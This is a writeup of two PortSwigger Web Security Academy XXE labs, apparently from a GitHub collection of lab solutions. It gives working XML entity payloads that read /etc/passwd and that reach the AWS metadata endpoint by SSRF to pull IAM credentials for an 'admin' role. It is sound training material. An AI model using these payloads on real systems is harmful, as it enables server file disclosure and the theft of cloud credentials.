portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following APPRENTICE-level labs from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:

1 Exploiting XXE using external entities to retrieve files

This lab demonstrates how attackers can exploit XXE vulnerabilities to read sensitive files from the server.

2 Exploiting XXE to perform SSRF attacks

This lab shows how XXE vulnerabilities can be leveraged to perform server-side request forgery (SSRF) attacks.

LAB 1 - Exploiting XXE using external entities to retrieve files

Lab Description

image

Solution

🔍 1. Intercept the Request

Use Burp Suite to intercept the Check Stock request.

You’ll see a POST request like this:

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

🛠️ 2. Modify XML to Inject XXE

Add the DOCTYPE definition between the XML declaration and the root stockCheck element. Replace the productId value with &xxe;.

💣 XXE Payload to Read /etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

image


🚀 3. Send the Request

image

Once the /etc/passwd file is reflected back in the response, the lab is marked as solved.

image

Key takeaway:

image

image


LAB 2 - Exploiting XXE to perform SSRF attacks

Lab Description

image

Solution

🧠 Background

🧾 Local Entities

Typical files like /etc/passwd are local entities. These can reveal OS-level information.

☁️ AWS Metadata Service

Cloud services like AWS expose metadata via a special internal endpoint:


http://169.254.169.254

This can be used to:


🔹 1. Initial Discovery Payload

Send a simple XXE payload to access the root of the AWS metadata endpoint:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Expected Output: You’ll likely see latest returned after “Invalid product”.

image

🔍 Enumerating the AWS Metadata Paths

From the initial XXE payload targeting http://169.254.169.254/, you receive the string latest, indicating that the server is forwarding the request to the AWS instance metadata service.

This is your first clue.

Now continue exploring the metadata hierarchy:

🔹 2. Walk the Metadata API

Start traversing the metadata directory structure with each of the following payloads:

  1. Get the root metadata version

   <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/">

Response: meta-data

  1. List metadata categories

    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
    

    Response (partial example):

    ami-id
    hostname
    iam/
    instance-id
    ...
    
  2. Explore IAM-specific data

    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/">
    

    Response:

    security-credentials/
    
  3. List available IAM roles

    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
    

    Response:

    admin
    

🔹 3. Final Exploit – Dump Credentials

Replace the XXE entity to point directly to the role path:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

image

Response:

image

Once you retrieve and view the AWS credentials from the metadata API, the lab will mark as solved.

image


🧠 Bonus: Metadata Path Reference

Endpoint Description
/latest/meta-data/ Root metadata directory
/instance-id EC2 instance ID
/hostname Hostname
/iam/security-credentials/ IAM roles
/iam/security-credentials/<role> IAM keys (Access Key, Secret Key, Token)

KeyTakeaway:

image